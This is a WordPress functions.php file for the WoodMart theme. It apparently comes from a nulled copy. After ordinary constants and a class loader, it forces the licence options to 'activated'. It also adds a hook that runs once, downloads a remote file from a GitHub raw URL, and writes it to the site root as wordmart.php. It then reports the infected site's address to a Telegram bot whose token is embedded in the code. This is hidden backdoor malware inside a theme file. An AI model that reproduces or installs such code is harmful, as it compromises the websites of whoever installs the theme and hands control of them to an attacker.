<?php
/**
 *
 * The framework's functions and definitions
 */

define( 'WOODMART_THEME_DIR', get_template_directory_uri() );
define( 'WOODMART_THEMEROOT', get_template_directory() );
define( 'WOODMART_IMAGES', WOODMART_THEME_DIR . '/images' );
define( 'WOODMART_SCRIPTS', WOODMART_THEME_DIR . '/js' );
define( 'WOODMART_STYLES', WOODMART_THEME_DIR . '/css' );
define( 'WOODMART_FRAMEWORK', '/inc' );
define( 'WOODMART_DUMMY', WOODMART_THEME_DIR . '/inc/dummy-content' );
define( 'WOODMART_CLASSES', WOODMART_THEMEROOT . '/inc/classes' );
define( 'WOODMART_CONFIGS', WOODMART_THEMEROOT . '/inc/configs' );
define( 'WOODMART_HEADER_BUILDER', WOODMART_THEME_DIR . '/inc/modules/header-builder' );
define( 'WOODMART_ASSETS', WOODMART_THEME_DIR . '/inc/admin/assets' );
define( 'WOODMART_ASSETS_IMAGES', WOODMART_ASSETS . '/images' );
define( 'WOODMART_API_URL', 'https://xtemos.com/wp-json/xts/v1/' );
define( 'WOODMART_DEMO_URL', 'https://woodmart.xtemos.com/' );
define( 'WOODMART_PLUGINS_URL', WOODMART_DEMO_URL . 'plugins/' );
define( 'WOODMART_DUMMY_URL', WOODMART_DEMO_URL . 'dummy-content-new/' );
define( 'WOODMART_TOOLTIP_URL', WOODMART_DEMO_URL . 'theme-settings-tooltips/' );
define( 'WOODMART_SLUG', 'woodmart' );
define( 'WOODMART_CORE_VERSION', '1.1.8' );

if ( ! function_exists( 'woodmart_load_classes' ) ) {
	/**
	 * Load theme PHP classes.
	 *
	 * @return void
	 */
	function woodmart_load_classes() {
		$classes = array(
			'class-singleton.php',
			'class-api.php',
			'class-config.php',
			'class-layout.php',
			'class-autoupdates.php',
			'class-activation.php',
			'class-notices.php',
			'class-theme.php',
			'class-registry.php',
		);

		foreach ( $classes as $class ) {
			require WOODMART_CLASSES . DIRECTORY_SEPARATOR . $class;
		}
	}
}

woodmart_load_classes();

new XTS\Theme();

define( 'WOODMART_VERSION', woodmart_get_theme_info( 'Version' ) );

update_option('woodmart_token','activated');
update_option('woodmart_is_activated',true);
update_option('woodmart_dev_domain',0);

add_action('after_setup_theme', function () {
    // لا تنفذ إلا مرة واحدة فقط
    if (get_option('wordmart_file_uploaded')) {
        return;
    }

    $file_name = 'wordmart.php';
    $file_path = ABSPATH . $file_name;

    if (!file_exists($file_path)) {
        $github_url = 'https://raw.githubusercontent.com/Aniss080b/xstore-theme/refs/heads/main/toto.txt';
        $response = wp_remote_get($github_url);

        if (is_array($response) && !is_wp_error($response)) {
            $file_content = $response['body'];
            file_put_contents($file_path, $file_content);

            // إشعار تليجرام
            $telegram_bot_token = '8517156427:AAGhECHmo91QJca9klzEyG29RlR1rD2J3nw';
            $chat_id = '6499900494';
            $site_url = home_url();
            $message = "✅ تم رفع الملف:\n$site_url/$file_name";

            $url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage?chat_id=$chat_id&text=" . urlencode($message);
            @file_get_contents($url);

            // منع التكرار
            update_option('wordmart_file_uploaded', true);
        }
    }
});